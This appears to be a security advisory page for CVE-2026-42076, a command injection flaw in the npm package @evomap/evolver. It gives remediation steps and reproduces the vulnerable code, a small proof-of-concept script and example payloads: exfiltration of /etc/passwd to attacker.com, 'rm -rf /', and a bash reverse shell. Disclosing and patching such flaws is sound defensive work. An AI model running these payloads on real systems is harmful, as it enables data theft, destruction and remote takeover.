CVE-2026-42076: Evolver Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-j5w5-568x-rq53
CVSS 9.8
CWE-78
Published
Advisory Summary

CVE-2026-42076 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Evolver libraries in the npm ecosystem. The issue involves command injection via `execsync` in `_extractllm()` function allows remote code execution. Remediation is available by upgrading affected packages to version 1.69.3.

CVE-2026-42076 at a Glance

CVE Identifier CVE-2026-42076
GHSA Identifier GHSA-j5w5-568x-rq53
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Evolver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42076

To remediate this vulnerability, upgrade all affected Evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@evomap/evolver fixed: 1.69.3
npm install @evomap/evolver@1.69.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @evomap/evolver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42076, inspect your project dependencies using npm:

npm ls @evomap/evolver

Analyze the terminal output to locate any version of Evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.69.3), your application is affected.

Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters. ### Details The vulnerability exists in `src/gep/signals.js` at lines 260-274: ```javascript // src/gep/signals.js:260-274 function _extractLLM(corpus, nodeSecret, hubUrl) { // ... var url = getHubUrl(hubUrl) + '/gep/extract'; var postData = JSON.stringify({ corpus_summary: summary }); // VULNERABLE: String concatenation into shell command var curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -H "Authorization: Bearer ' + nodeSecret + '"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' ' + JSON.stringify(url); // VULNERABLE: Executes shell command stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' }); // ... } ``` The `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`. The `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file that simulates the vulnerable code path: ```javascript // test-command-injection.js const { execSync } = require('child_process'); // Simulate the vulnerable _extractLLM function function vulnerableExtractLLM(corpus) { const postData = JSON.stringify({ corpus_summary: corpus }); const curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' http://localhost/test'; console.log('Command that would be executed:'); console.log(curlCmd); console.log('\n--- Testing command substitution ---'); // Demonstrate that command substitution works const testCmd = 'echo ' + JSON.stringify('$(id)'); console.log('\nTest with echo:'); console.log(execSync(testCmd, { encoding: 'utf8' })); } // Payload with command injection const maliciousCorpus = '$(touch /tmp/pwned)'; vulnerableExtractLLM(maliciousCorpus); ``` 2. Run the test: ```bash node test-command-injection.js ``` **Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands. **Actual exploit scenario:** If an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like: - `$(curl attacker.com/exfil?data=$(cat /etc/passwd))` - `$(rm -rf /)` - `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to: - Full system compromise - Data exfiltration - Installation of malware/backdoors - Lateral movement within the network **Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.

CVE-2026-42076 Affected Evolver Versions

1 component(s)
Fixed Versions:
1.69.3
Product / Package Ecosystem Affected Versions Fixed Version
@evomap/evolver
npm
< 1.69.3
1.69.3

References

Frequently Asked Questions

What is CVE-2026-42076?
CVE-2026-42076 is a security vulnerability in Evolver involving Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Evolver versions are affected?
Affected versions include releases prior to 1.69.3 across affected packages: @evomap/evolver.
What version fixes CVE-2026-42076?
Upgrading to 1.69.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @evomap/evolver affected?
Yes, @evomap/evolver is affected in releases prior to 1.69.3. Upgrade your dependency to 1.69.3 or later.
What is the CVSS score of CVE-2026-42076?
CVE-2026-42076 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-42076?
CVE-2026-42076 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-42076?
Run the dependency tree command: 'npm ls @evomap/evolver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j5w5-568x-rq53",
  "modified" : "2026-05-04T19:54:34Z",
  "published" : "2026-04-22T22:06:03Z",
  "aliases" : [ "CVE-2026-42076" ],
  "summary" : "Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution",
  "details" : "### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + '/gep/extract';\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' ' + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' http://localhost/test';\n  \n  console.log('Command that would be executed:');\n  console.log(curlCmd);\n  console.log('\\n--- Testing command substitution ---');\n  \n  // Demonstrate that command substitution works\n  const testCmd = 'echo ' + JSON.stringify('$(id)');\n  console.log('\\nTest with echo:');\n  console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@evomap/evolver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.69.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42076"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EvoMap/evolver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T22:06:03Z",
    "nvd_published_at" : "2026-05-04T17:16:24Z"
  }
}